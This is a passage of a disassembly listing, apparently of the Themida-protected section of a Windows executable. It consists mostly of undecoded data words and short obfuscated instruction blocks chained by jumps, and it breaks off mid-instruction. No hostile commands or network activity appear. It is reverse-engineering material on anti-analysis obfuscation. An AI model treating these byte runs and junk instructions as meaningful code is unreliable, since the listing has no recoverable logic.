0FFE7B6E9h, 4F781FFh, 15D4581h, 0C6835FFEh, 74FF5604h dd 0E95E0424h, 0FFFFE9EDh, 54C5C981h, 0FAE92C70h, 89000029h dd 74FF241Ch, 8F5B0424h, 71E92404h, 56FFFFC7h, 4BEh, 5EF10100h dd 4C181h, 0C330000h, 240C3124h, 5C240C33h, 28CE9h db 0 ; --------------------------------------------------------------------------- loc_54C9D1: ; CODE XREF: Themida_:00546AF2j push 474Ah jmp loc_546BC9 ; --------------------------------------------------------------------------- db 66h dd 8324048Bh, 148904ECh, 148B5424h, 4C48124h, 57000000h dd 1E9CE9h, 0DBEA8100h, 5840ED6Ch, 9A79F281h, 0D6892E76h dd 7BC6815Ah, 512E0B6Bh, 66F6BE56h, 0E6810636h, 2B751D93h dd 0F795EE87h, 2EECE9D0h, 535D0000h, 0BBh, 89CB2900h, 241C8BD9h dd 4104C483h, 8107E1C1h, 851DEC1h, 0A4C1814Ah, 1001505h dd 0FF5659CEh, 5E042474h, 0E924048Fh, 0FCFh ; --------------------------------------------------------------------------- loc_54CA54: ; CODE XREF: Themida_:00547ACAj push 4851h mov [esp], eax mov ah, 0CEh jmp loc_5488EB ; --------------------------------------------------------------------------- db 81h dd 4C4h, 5AD03000h, 252068h, 241C8900h, 0FF8BCCE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CA79: ; CODE XREF: Themida_:005485A2j add ebp, 4 push eax jmp loc_54B426 ; --------------------------------------------------------------------------- db 1, 0E8h, 0E9h dd 744h, 4C48358h, 1334E9h, 0EA814200h, 4AD40DC6h, 0B6E9EAD1h dd 66000006h, 80DDB151h, 516673EEh, 0CE287EB1h, 0CE285966h dd 0FF9672E9h, 0E9C141FFh, 9DC98103h, 813BF377h, 225741E9h dd 59C831A2h, 8358C201h, 0FF5202C2h, 5A042474h, 0E924048Fh dd 22F0h, 5F98C181h, 45E97D43h, 89000031h, 4C381E3h, 83000000h dd 1C8704EBh, 14895C24h, 0B1BCE924h, 8356FFFFh, 3C8904ECh dd 945FE924h, 0C158FFFFh, 0C18102E1h, 0DE0AF954h, 0FFC7A8E9h dd 0E95366FFh, 80Eh, 0FF2434FFh, 7E92434h, 5B00003Ch, 0FF8859E9h dd 241489FFh, 0FFA7A4E9h, 0C7015FFFh, 8B2434FFh, 0C1E92404h dd 87FFFFBDh, 0B1E9243Ch, 0BF000018h, 4, 0FF7F49E9h, 7AA7E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CB62: ; CODE XREF: Themida_:00550049j pop dx mov ecx, [esp] jmp loc_54885C ; --------------------------------------------------------------------------- dd 57240489h, 0FF9E31E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CB75: ; CODE XREF: Themida_:00544CAFj mov edi, 0AE8743Dh sub esp, 4 mov [esp], ebp mov ebp, 42A95BAEh sub edi, ebp pop ebp xchg edx, edi push edx not dword ptr [esp] mov edx, [esp] add esp, 4 push edi jmp loc_549024 ; --------------------------------------------------------------------------- dw 0ED80h dd 0E0ED80FFh, 0FFA966E9h, 0ED815DFFh, 10E425Fh, 8102EDC1h dd 9A707AEDh, 5DEA89C7h, 7CC7E281h, 89E94E23h, 0FFFFFF92h dd 7A3FE930h, 0D4F6FFFFh, 5152E786h, 0F5807AB5h, 4EE58077h dd 8884C580h, 0CE8059EEh, 0AE951AEh db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CBE7: ; CODE XREF: Themida_:0054C3E2j mov [esp], dx mov dh, 0AEh and cl, dh pop dx sub cl, 8Fh xor al, cl pop ecx xor bl, al movzx eax, al jmp loc_5469C3 ; --------------------------------------------------------------------------- db 81h, 0F7h, 0Bh dd 21F6299Bh, 0E8C15FF8h, 0E9C83118h, 0FFFFB228h, 68241489h dd 0A84h, 89242C89h, 0ECB9E9C5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CC26: ; CODE XREF: Themida_:00550990j mov [esp], ebp jmp loc_550A48 ; --------------------------------------------------------------------------- dw 6856h dd 48A4557Ah, 9943E95Eh, 7EB2FFFFh, 0FF8646E9h, 795F68FFh dd 2C890000h, 30EBD24h, 0D5F73582h, 11C9C581h, 0EE296185h dd 3972E9h, 4EC8300h, 0FFC819E9h, 59CE29FFh, 0FF8121E9h dd 4BF57FFh, 1000000h, 0E904247Ch, 0FFFFBC5Ah, 2EE9E0D1h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CC83: ; CODE XREF: Themida_:00550AE1j mov esi, [esp] jmp loc_54F80B ; --------------------------------------------------------------------------- db 5Bh dd 8030C380h, 0EB2806EBh, 8006C380h, 8B6630EBh, 0C483240Ch dd 119AE902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CCA6: ; CODE XREF: Themida_:00545FB4j mov ebx, [esp] add esp, 4 mov esi, eax pop eax push eax push ecx mov ecx, 344B6E96h mov eax, 0D6C2D9E8h add eax, ecx pop ecx sub esi, eax pop eax jmp loc_546F90 ; --------------------------------------------------------------------------- dw 8B66h dd 0C481240Ch, 2, 0EE80D6F6h, 8BF028FAh, 0C4812414h, 4 dd 52535152h, 20E9A4B2h, 0B2000039h, 0EBE5E99Ch, 0F331FFFFh dd 340EE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CCFA: ; CODE XREF: Themida_:0054E826j mov [esp], ebx push edi jmp loc_54DEEC ; --------------------------------------------------------------------------- db 0C1h dd 494107E9h, 0A1F9F181h, 0C8295200h, 0C03E9h, 34C38100h dd 0E9070DF8h, 0FFFFA109h, 83C9E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CD26: ; CODE XREF: Themida_:005493E4j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 3E2h mov [esp], ecx push eax jmp loc_550621 ; --------------------------------------------------------------------------- aRsc2 db 'RИ√2',0 dw 8900h dd 0A2682414h, 8900003Eh, 66B82404h, 40649278h, 453EF60Dh dd 8AD1E93Dh, 0EA81FFFFh, 3BE60E85h, 5BE9D029h, 1000006h dd 0E3E95DEBh, 4A000011h, 373CC281h, 0C2814AF2h, 9E54BA3Eh dd 835AD301h, 48904ECh, 2BA5224h, 0E9000000h, 0FFFFF24Eh dd 66E9E8D0h db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CD9F: ; CODE XREF: Themida_:0054A76Cj mov esi, [esp] add esp, 4 jmp loc_54E21B ; --------------------------------------------------------------------------- dw 0E8C1h dd 5E0C106h, 0C3230E2Dh, 0D006E9FCh, 8159FFFFh, 4C1h, 531F6800h dd 4890000h, 3B61B824h, 55954483h, 5D2414F7h, 0C49C3595h dd 0C101BB7Ch, 8124048Bh, 4C4h, 5E846800h, 0C890000h, 2474FF24h dd 240C8B04h, 0FFB976E9h, 33E957FFh, 0FF00002Dh, 0F2E92434h dd 68000004h, 2F99h, 83242489h, 0FF042404h, 835E2434h dd 5E6804C4h, 89000036h, 4B82404h, 1000000h, 78E958C6h dd 0BB000004h, 7EE23F67h, 0D2E9D801h, 8BFFFFD1h, 0C6E92424h dd 5CFFFF77h, 405h, 20500h, 0E9E90000h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CE53: ; CODE XREF: Themida_:005461CFj sub edi, 6F7F08F1h sub edi, 55C6AD3h add edi, edx add edi, 55C6AD3h push eax mov eax, 6F7F08F1h jmp loc_54C16D ; --------------------------------------------------------------------------- dw 4481h dd 111F0424h, 0CAE9124Ch, 8BFFFF9Ah, 34892424h, 2474FF24h dd 2434FF04h, 4C4815Eh, 8F000000h, 665C2404h, 66241489h dd 66E99C50h, 81FFFF77h, 4C2h, 24148700h, 16C5815Ch, 8912FBE4h dd 0E3815DEBh, 4EA10FFBh, 0C32E9h, 43D3F700h, 93A4C381h dd 0DE99F1Dh, 8300002Ch, 1C8704EBh, 14895C24h, 57E28924h dd 5E648668h, 12E95F47h, 68FFFFCFh, 4E5Ch, 89243C89h, 4C781E7h dd 53000000h, 0C6E95052h, 81FFFF7Ch, 0FFFFFFC2h, 0EBE957FFh dd 89FFFFADh, 405E0h, 4050000h, 87000000h, 515C2404h, 685A26B9h dd 0DFF1812Bh, 0F71F3877h, 5E1C1D9h, 0B850D9F7h, 33190C67h dd 6FE94040h, 31FFFFFEh, 0FA015EF7h, 0E9243C8Bh, 2A3Bh dd 24048B66h, 201FE953h, 0FF570000h, 5F042474h, 5C24048Fh dd 0E9240431h, 0FFFF76A5h, 0AF62F181h, 3DE91A70h, 58FFFFCFh dd 0FFD96EE9h, 4C481FFh, 8B000000h, 0C483240Ch, 0CDBAE904h dd 0F931FFFFh, 59CA895Fh, 565AD601h, 471E9h db 0 ; --------------------------------------------------------------------------- loc_54CF95: ; CODE XREF: Themida_:0054A599j add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] sub bl, al add bl, 0Ah add bl, 8Ch push 2143h jmp loc_54894F ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 240C895Ch, 0A43DBDB9h, 8BCB2957h, 8956240Ch, 3EE957E6h db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CFD3: ; CODE XREF: Themida_:005473A6j mov [esp], eax xchg ecx, [esp] not ecx xchg ecx, [esp] push dword ptr [esp] pop eax push 11F8h mov [esp], edx jmp loc_54645D ; --------------------------------------------------------------------------- db 8Bh dd 0C481240Ch, 4, 15C568h, 241C8900h, 0EC81E389h, 4, 57240C89h dd 4BFh, 0A5E7E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D016: ; CODE XREF: Themida_:005452EAj mov esp, [esp] sub ebx, 771E676Fh push esi mov esi, 2EED506Ch sub ebx, esi pop esi sub ebx, 5F5E064Ch add ebx, 3CEA05F7h jmp loc_549D86 ; --------------------------------------------------------------------------- db 81h, 0F6h, 9Eh dd 892CA12Eh, 0D0E95EF7h, 66FFFF7Ah, 0E955CC68h, 0FFFFB0E6h dd 76DFA05h, 2DF0016Dh, 6D076DFAh, 78ECBA52h, 0D0011D44h dd 1E40E9h, 4EE8300h, 2095E9h, 4C48300h, 9C240409h, 0FF758CE9h dd 2536BFFFh, 0E94F7264h, 0FFFF99BBh, 3DBDBE56h, 0F30157A4h dd 0E924348Bh, 0FFFF7C1Ch, 37E95F54h, 81FFFFC2h, 63867DEBh dd 8BDA212Eh, 0C481241Ch, 4, 34EFE9h, 3C335A00h, 243C3124h dd 672E9h, 0F3C38100h, 1FE5FE1h, 0B8505BD9h, 4CA94C44h dd 4EC8153h, 89000000h, 6850243Ch, 64EA734Eh, 2DD8F758h dd 55F12032h, 0BE15B82Dh, 585F5031h, 84E9FB89h, 0BFFFFF8Fh dd 670B0BF8h, 6D4EF781h, 0F989688Eh, 0D55E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D10A: ; CODE XREF: Themida_:00550121j not edi add edi, 3F9E23A3h jmp loc_5477F0 ; --------------------------------------------------------------------------- db 0BAh dd 73885D58h, 608DF281h, 0CA8162E6h, 2B341886h, 36BAC281h dd 814258BEh, 8912F3C2h, 7CF28158h, 8150F509h, 467595E9h dd 81D12976h, 467595C1h, 7E95A76h, 89FFFFE5h, 0E6892434h dd 1A89E9h, 0EA814A00h, 0F1CB950Eh, 0DEE9D689h, 0C1FFFFECh dd 0C18103E9h, 0E3065C15h, 5259CD01h, 4B95BD55h, 0F5815CC4h dd 3E2027F1h, 535DEA89h, 0FFCA3AE9h, 5FF801FFh, 75AD68h dd 243C8900h, 0D0B85055h, 0BD6A3566h, 10795728h, 8102EDC1h dd 2B331EF5h, 58C5296Eh, 0ED8E9h, 2DD0F700h, 2250290Bh dd 3411BF57h, 6CE93D3Fh db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D1C3: ; CODE XREF: Themida_:0054E5BEj mov ebp, 304071C1h sub esi, ebp pop ebp jmp loc_54813F ; --------------------------------------------------------------------------- dd 2E10262Dh, 0BB535D65h, 2, 8C6DC32Dh, 0E9D82957h, 0FFFFDAC2h dd 526866ACh, 0D120E929h, 5568FFFFh, 0E9000068h, 0FFFFDAA4h ; --------------------------------------------------------------------------- loc_54D1FC: ; CODE XREF: Themida_:00550B55j pop ebx add esi, 4 xchg esi, [esp] pop esp push ecx push 0FFFFh jmp loc_5482B1 ; --------------------------------------------------------------------------- db 80h dd 0EFC0CCEFh, 0ECF78007h, 28F6EF80h, 241C8BF8h, 0FF81BCE9h dd 32C281FFh, 13BE900h, 32EA81EAh, 813BE900h, 0E30F33C2h dd 242C8B56h, 4C481h, 0C2830000h, 24143302h, 0FF8ABEE9h dd 5BD800FFh, 0C78BE952h, 5405FFFFh, 152E14Dh, 4D542DF8h dd 535F52E1h, 15F7E9h, 739BE900h, 0EC80FFFFh, 0B3B151D8h dd 59CB00h, 0B3EB80E3h, 8124048Bh, 4C4h, 14EB8000h, 0B652C300h dd 11C68054h, 0E99E9h db 0 ; --------------------------------------------------------------------------- loc_54D295: ; CODE XREF: Themida_:005496A3j sub ebp, ebx pop ebx jmp loc_54F3C5 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 0A7E95024h, 51000019h, 2B9h, 48EE8100h, 104F341h, 48C681CEh dd 5904F341h, 0FFCADEE9h, 1651BAFFh, 0F281382Fh, 196A1C8Bh dd 0E95AD621h, 0FFFFDCCCh ; --------------------------------------------------------------------------- loc_54D2D4: ; CODE XREF: Themida_:00549A64j add dword ptr [esp+4], 3F21082Eh push dword ptr [esp] pop edx sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_54C143 ; --------------------------------------------------------------------------- aXh8o db 'Xh8o',0 dw 8900h dd 0E789243Ch, 4BD55h, 0EF010000h, 0AEE9525Dh, 54000009h dd 4C6815Eh, 0E9000000h, 0FFFFE635h ; --------------------------------------------------------------------------- loc_54D320: ; CODE XREF: Themida_:0054F684j and edi, 30C2242Bh push ebp sub esp, 4 jmp loc_54BA64 ; --------------------------------------------------------------------------- dw 0C388h dd 0FFA3C0E9h, 241489FFh, 0FF7ABAE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D341: ; CODE XREF: Themida_:005497B5j xchg ebx, [esp] pop esp push dword ptr [esp] jmp loc_54B578 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0E1863AB1h, 0E186D4F6h, 0E98AF180h, 0FFFFA3EDh, 4C6815Eh dd 83000000h, 348704EEh, 24895C24h, 24048124h, 4, 5224148Bh dd 0C281E289h, 4, 4C281h, 6BE90000h, 6600001Ch, 51240C8Bh dd 24E95954h, 68FFFFAFh, 5DCh, 53240C89h, 0FFD94BE9h, 0F7665CFFh dd 9E97E9E1h, 0EA81FFFFh, 0C3AD7EDFh, 0F75AD509h, 81DDF7DDh dd 724644F5h, 2A9FE91Ch, 148B0000h, 4C48124h, 68000000h dd 5DF9h, 53242C89h, 40C6768h, 241C8B2Ch, 81E68956h, 4C6h dd 4C68300h, 0FFCA1CE9h, 48B66FFh, 1BDF6824h, 4890000h dd 0A90CE924h, 74FFFFFFh, 8F5E0424h, 0E95C2404h, 0FFFFD445h ; --------------------------------------------------------------------------- loc_54D414: ; CODE XREF: Themida_:0055063Ej pop esi add eax, 0B342C82h mov ecx, eax pop eax xor eax, ecx pop ecx mov ebx, eax pop eax and eax, ebx pop ebx or edx, eax jmp loc_5506C1 ; --------------------------------------------------------------------------- db 81h, 0EEh, 4 dd 68000000h, 1062h, 0FFDBA2E9h, 25F168FFh, 14890000h dd 59A7BA24h, 0D2E92394h, 29FFFFD2h, 240C8BC8h, 4C481h dd 0AEE90000h, 0ADFFFFB2h, 19B3BE56h, 0C6813BBCh, 53D24EB6h dd 51A4C681h, 0CE810AECh, 0B5C5C44h, 0FF9774E9h, 876859FFh dd 8900005Dh, 4BD242Ch, 1000000h, 34335DEEh, 24343124h dd 607E9h, 0B2BF5700h, 0C1756263h, 2FE906EFh, 89FFFFA0h dd 5A542414h, 4EC8355h, 68241C89h, 20C33367h, 0F857E95Bh dd 0C8BFFFFh, 4C48324h, 71E468h, 240C8900h, 770BE957h dd 37B9FFFFh, 8141C224h, 7606BFE9h, 0C981417Ah, 66C11761h dd 0FFFC7EE9h, 28F64FFh, 0FF7118E9h, 242C33FFh, 0D224248Bh dd 0E99C243Ch, 0FFFF7109h ; --------------------------------------------------------------------------- loc_54D500: ; CODE XREF: Themida_:0054F463j add ebp, 4 xchg ebp, [esp] pop esp mov [edi+eax*4+1], ch mov ecx, [esp] push ecx jmp loc_548CF9 ; --------------------------------------------------------------------------- db 0C1h dd 0C68105E6h, 0C1157D44h, 2D5EF001h, 4, 5C240487h, 68241C89h dd 5B05h, 0BF243C89h, 3E9A604Fh, 165AE9h, 0CCE98100h, 12EF246h dd 2E5E9E9h, 52530000h, 0CAFE9CB2h, 8003EAC0h, 0F28002CAh dd 8EA80E6h, 805AD388h, 0C68054C6h, 0E9DE004Dh, 0FFFFD76Ch dd 0FFDD3159h, 0E95B2434h, 891h, 4B951h, 0CB010000h, 0FF70A1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D589: ; CODE XREF: Themida_:0054DDB3j push dword ptr [esp] pop eax add esp, 4 push esi mov esi, 3FAA08B7h neg esi jmp loc_54F607 ; --------------------------------------------------------------------------- db 29h, 0C2h, 0E9h dd 0FFFF8C05h, 186AE948h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D5AA: ; CODE XREF: Themida_:0054BEC8j mov ecx, 7D590FE3h add eax, 2B02147Bh jmp loc_548004 ; --------------------------------------------------------------------------- loc_54D5B9: ; CODE XREF: Themida_:0054A196j push 3D1C7D3Bh pop ebx or ebx, 11714B00h jmp loc_54D828 ; --------------------------------------------------------------------------- dd offset asc_5BE968 ; "ллллллллллллллллллллллллллллллллллллллл"... dw 8900h dd 70BE2434h, 4E3CE710h, 0D6F7D6F7h, 0F97EE81h, 83BB0821h dd 131E5CFh, 24348BF3h, 0A6E95451h, 0C0FFFFD9h, 9DE907E8h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D5FB: ; CODE XREF: Themida_:005493ECj xor ebp, ecx pop ecx jmp loc_54E9A9 ; --------------------------------------------------------------------------- db 66h dd 6824048Bh, 36AFh, 0E9242C89h, 0FFFFD06Eh, 0C981D1F7h dd 34031DE5h, 883E981h, 0CB31EF6Bh, 0FFFF47E9h, 0F8315EFFh dd 81243C8Bh, 4ECh, 898CE900h, 0FF50FFFFh, 58042474h, 5C24048Fh dd 8B2434FFh, 0C4832404h, 0EC835604h, 24248904h, 4240481h dd 5E000000h, 4C681h, 0BD550000h, 4, 1DD6EE81h, 0EE011FEAh dd 1DD6C681h, 565D1FEAh, 0FFD418E9h, 40E956FFh, 31FFFFE3h dd 4FE959CFh, 56000013h, 0FFE529E9h, 6F73E9FFh, 0C381FFFFh dd 54F48F97h, 0E95BD901h, 0DD1h, 65E9E089h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D6AB: ; CODE XREF: Themida_:00549ABAj jz loc_549FBC push dword ptr [edi+28h] push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_54836D ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 83E9E189h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D6CF: ; CODE XREF: Themida_:0054830Aj add esi, 4 push esi jmp loc_54AD14 ; --------------------------------------------------------------------------- dd 3304EA83h, 14312414h, 24143324h, 0E61CE95Ch, 0B951FFFFh dd 919015Ch, 3435E981h, 0C18166E7h, 0C9AB77FEh, 0C159CB29h dd 0F38102EBh, 24E63AA2h, 0AC9B951h, 19E94011h, 66FFFFE1h dd 6824048Bh, 36A8h, 89243C89h, 4C781E7h, 53000000h, 2C94B850h dd 25E91770h, 3300000Eh, 665C243Ch, 68240C8Bh, 4D9Bh, 54243489h dd 41BA525Eh, 8130B32Eh, 4CD1C3C2h, 0E9D601CFh, 0FFFF9D28h ; --------------------------------------------------------------------------- loc_54D758: ; CODE XREF: Themida_:005484A7j sub edx, ebp pop ebp jmp loc_544609 ; --------------------------------------------------------------------------- dd 158C389h, 0C335BD9h, 240C3124h, 8B240C33h, 50552424h dd 0FFB547E9h, 5AD529FFh, 2C8BEF01h, 0C172E924h, 0C481FFFFh dd 4, 5A1C5709h, 0E9DD8955h, 0FFFFE3BFh, 0E95EF231h, 0FFFF9321h dd 33240C31h, 248B240Ch, 39BB5324h, 81257E37h, 745D7EEBh dd 0EB814B59h, 9416F93Dh, 0DD84E952h, 1C87FFFFh, 2C895C24h dd 2BD24h, 0E8010000h, 2404875Dh, 0E248E95Ch, 535CFFFFh dd 5B3F3BBBh, 245C015Fh, 241C8B04h, 4C481h, 2C810000h dd 0AD645724h, 2404815Bh, 294054B3h, 0E9240401h, 0FFFF7527h dd 895BDF29h, 6C295FFDh, 0E95D0424h, 0FFFF6DF5h, 24048B66h dd 0A04DE952h, 74FFFFFFh, 0E9580424h, 17B0h ; --------------------------------------------------------------------------- loc_54D828: ; CODE XREF: Themida_:0054D5C5j sub ebx, 3D7D7F37h jmp loc_5447E7 ; --------------------------------------------------------------------------- db 81h dd 0F246CCC1h, 0C1815D2Eh, 4, 31240C33h, 0C33240Ch, 24248B24h dd 6804C483h, 7037h, 0FF76B8E9h, 84ED81FFh, 16F1662h, 84C581FDh dd 0E96F1662h, 0FFFF9DF2h, 4C48158h, 68000000h, 2DB2h dd 81243C89h, 4ECh, 24248900h, 4BD55h, 6C010000h, 8B5D0424h dd 0C481243Ch, 4, 4C781h, 0C7830000h, 243C8704h, 0B60F665Ch dd 2F686600h, 8939E971h, 0EB81FFFFh, 2A17F7B2h, 0E95BDF89h dd 0FFFFC75Bh, 240C8B66h, 0FF72C9E9h, 0E7E95CFFh, 81FFFFD1h dd 0CC41BCC2h, 6D2FE940h, 0EC81FFFFh, 4, 53243C89h, 2BBh dd 4815300h, 0E311DF24h, 0EF815F01h, 1E311DFh, 0CBC1815Bh dd 81458713h, 5214B6C1h, 81F90145h, 5214B6E9h, 0CBE98145h dd 0E9458713h, 240Eh, 7DB95159h, 81551D56h, 8540D1E9h dd 9CC8E97Ah, 5159FFFFh, 0CF88F188h, 34FF5A59h, 0C4835824h dd 9AF78004h, 0FF98BCE9h, 48B66FFh, 2096824h, 4890000h dd 8601E924h, 1489FFFFh, 0A38BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D95A: ; CODE XREF: Themida_:005499B2j push esp jmp loc_54DF31 ; --------------------------------------------------------------------------- dd 0FF505B5Eh, 58042474h, 5C24048Fh, 50C0C380h, 8042B551h dd 0CDFEDBC5h, 0D6F6F586h, 0CDFEF586h, 0E94EED80h, 21A1h dd 4BFh, 8BFE0100h, 0C483243Ch, 24348704h, 0F0ED815Ch dd 0E929D74Eh, 0FFFFC273h, 347BF681h, 0D6F72708h, 1039E952h dd 0F5010000h, 0FFC3A9E9h, 0E9D389FFh, 0FFFF9A58h ; --------------------------------------------------------------------------- loc_54D9C0: ; CODE XREF: Themida_:0054493Bj push eax push esi xor dword ptr [esp], 64CB050Dh pop eax jmp loc_5477A8 ; --------------------------------------------------------------------------- db 83h dd 555204C4h, 6009BCBDh, 0AEB7E940h, 0DEF7FFFFh, 5FA6F681h dd 88E912F7h, 5FFFFFA8h, 0A76AE956h, 0D828FFFFh, 932C602Ch dd 0B3539B04h, 0A0AEE980h, 0EC81FFFFh, 4, 0FFD411E9h, 0E95351FFh dd 0FFFF9AF0h, 654ED35h, 13D1254Ch, 0B4E963E7h, 5CFFFF78h dd 24148B66h, 0FFE6A9E9h, 24048FFFh, 2404215Ch, 6BCFE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DA3A: ; CODE XREF: Themida_:0054FAD7j add edx, 0CD57E62Eh add esi, edx pop edx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] pop dword ptr [esp] inc ebp xchg ebp, [esp] pop dword ptr [edi+24h] loc_54DA59: ; CODE XREF: Themida_:loc_545AB1j push ebp jmp loc_54F17A ; --------------------------------------------------------------------------- db 33h dd 3C31243Ch, 243C3324h, 2424895Ch, 4240481h, 8B000000h dd 0C483242Ch, 22386804h, 34890000h, 8F0FE924h, 6658FFFFh dd 0EAB450h, 305866E7h, 0AC46E9F8h, 4ABDFFFFh, 0E94C6912h dd 0FFFFDE10h, 8B243433h, 5EE92424h, 89FFFF6Bh, 0EE015FFEh dd 8BF7895Dh, 0C4812434h, 4, 0FFCF16E9h, 0B60F66FFh, 9C5166C8h dd 0FF6B3CE9h, 38E581FFh, 813CA418h, 94357BE5h, 7BF58101h dd 89044316h, 0F2815DEAh, 710B25FCh, 4CC7F281h, 79E967B6h dd 81FFFFBCh, 680EC0F3h, 32BD685Bh, 0C890000h, 5306824h dd 1C890000h, 5574BB24h, 0D9890662h, 59CB215Bh, 0DA50E94Bh dd 0C781FFFFh, 4, 4C781h, 3C870000h, 0C4835C24h, 6AD7E904h dd 8952FFFFh, 0A0B951E2h, 0E9288854h, 0FFFF7CA6h ; --------------------------------------------------------------------------- loc_54DB40: ; CODE XREF: Themida_:0054F6D9j inc byte ptr [esp] pushf jmp loc_544609 ; --------------------------------------------------------------------------- db 0C0h, 0E5h, 6 dd 5366D5F6h, 73E568h, 240C8900h, 0A1E932B1h, 81FFFF9Dh dd 306A80E6h, 0EEE815Dh, 81376D1Ah, 704B33EEh, 83D6F71Dh dd 0C8904ECh, 1BDDB924h, 57494AECh, 1BFh, 0BB6BE900h, 575BFFFFh dd 7567BB53h, 0DF893D80h, 81D7F75Bh, 8109F9F7h, 2EF8150h dd 47207444h, 3F5CEF81h, 0FB01728Ah, 4EB835Fh, 0FFB30EE9h dd 0E28952FFh, 4C281h, 11E90000h, 55FFFFE0h, 4BDh, 0E9EF0100h dd 0FFFFAED7h, 242C8B5Bh, 5204C483h, 1DBE9h, 1510BE00h dd 0D68726ABh, 0D687D2F7h, 0FFAF7CE9h, 1FF281FFh, 0E9313666h dd 0FFFF7299h, 0BA5257h, 89000000h, 0CF295AD7h, 0E95FF989h dd 0FFFF6C6Fh, 0BF665750h, 89662E09h, 0C1665FF8h, 576606E0h dd 0BD665566h, 896677A9h, 665D66EFh, 5F66F821h, 0BB665366h dd 2966F957h, 2F68E9D8h, 74FF0000h, 8F5D0424h, 0E95C2404h dd 2669h, 0FEF5B353h, 12E380C3h, 0D00DCB80h, 0A508E9E3h dd 0C481FFFFh, 4, 8A62E953h, 8B66FFFFh, 5E92404h, 0C0FFFF7Ah dd 0F48005ECh, 87F480AAh, 48BE388h, 0B6A7E924h, 0C181FFFFh dd 4, 8B240C87h, 0BF572424h, 4, 0FF9607E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DC99: ; CODE XREF: Themida_:0054A255j pop ebx push eax mov eax, 260F2038h sub ebp, eax pop eax shr ebp, 6 sub ebp, 0BD619976h mov eax, ebp pop ebp jmp loc_5509E9 ; --------------------------------------------------------------------------- dd 0D10024B1h, 85F1805Ah, 625E9h, 36685300h, 8B7E6274h dd 0C481241Ch, 4, 7432EB81h, 0DA897E62h, 0CCE9515Bh, 68000015h dd 34B8h, 55243C89h, 0FF8B61E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DCED: ; CODE XREF: Themida_:00547FF0j add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_548C39 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 8704C283h, 0E95C2414h, 0FFFF6986h, 405h, 42D00h dd 0BAE90000h, 0BFFFFFA3h, 57F3501Fh, 0FF21B850h, 0B7E9C5D8h dd 81FFFF91h, 0D5230BC7h, 0E2EF815Ch, 104EF2Ch, 0C6895FF8h dd 5EF30158h, 0FFF833E9h, 4C281FFh, 81000000h, 4EAh, 74FF5200h dd 8F5A0424h, 0E95C2404h, 0FFFFE0F8h, 0E68956ADh, 4C681h dd 0F6E90000h, 81FFFFF2h, 890EEEEDh, 5DEE8900h, 6CE9F089h dd 31FFFFD9h, 0AE92404h, 5AFFFFA8h, 124968h, 241C8900h dd 0C381E389h, 4, 0FFCEB1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DDA1: ; CODE XREF: Themida_:0054706Dj push ebp mov ebp, esp push 2A9Ch mov [esp], eax mov eax, 4 add ebp, eax jmp loc_54D589 ; --------------------------------------------------------------------------- dd 8F754BBAh, 0B7C28115h, 42621B36h, 0FFAF52E9h, 0C2B951FFh dd 8150574Bh, 11037EF1h, 0C5EEE939h, 202DFFFFh, 5475244h dd 39334B79h, 792DE801h, 539334Bh, 47524420h, 19EA685Dh dd 34890000h, 5CE95024h, 48000029h, 9DA4D935h, 4E8C1E7h dd 0FF9265E9h, 4C481FFh, 9000000h, 0E95D1C6Fh, 0FFFF67EDh ; --------------------------------------------------------------------------- loc_54DE1C: ; CODE XREF: Themida_:0054865Fj mov ebp, [esp] add esp, 4 add edx, esi mov esi, [esp] jmp loc_54A74C ; --------------------------------------------------------------------------- db 81h dd 0C9F496F7h, 5FFE8903h, 0E9FFC683h, 0FFFFCD8Ah, 0FF2EB80h dd 8B66C0B6h, 40682414h, 0E9000020h, 0FFFFD3D9h, 196FCF81h dd 0F5E9059Ah, 83FFFFB2h, 0E9D1FFE9h, 1214E9h, 24043300h dd 242CD25Ch, 6793E99Ch, 4BAFFFFh, 1000000h, 74E95AD5h dd 81FFFF8Dh, 51492BEAh, 60C28151h, 290CC547h, 60EA81DAh dd 810CC547h, 51492BC2h, 8EEA8151h, 5B0BDB34h, 0FFEEB9E9h dd 4BBFFh, 6C810000h, 44E30424h, 5C0157E0h, 1CE90424h dd 81FFFFC3h, 4C4h, 0A221E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DECA: ; CODE XREF: Themida_:00549D01j mov [esp], edi pop edx jmp 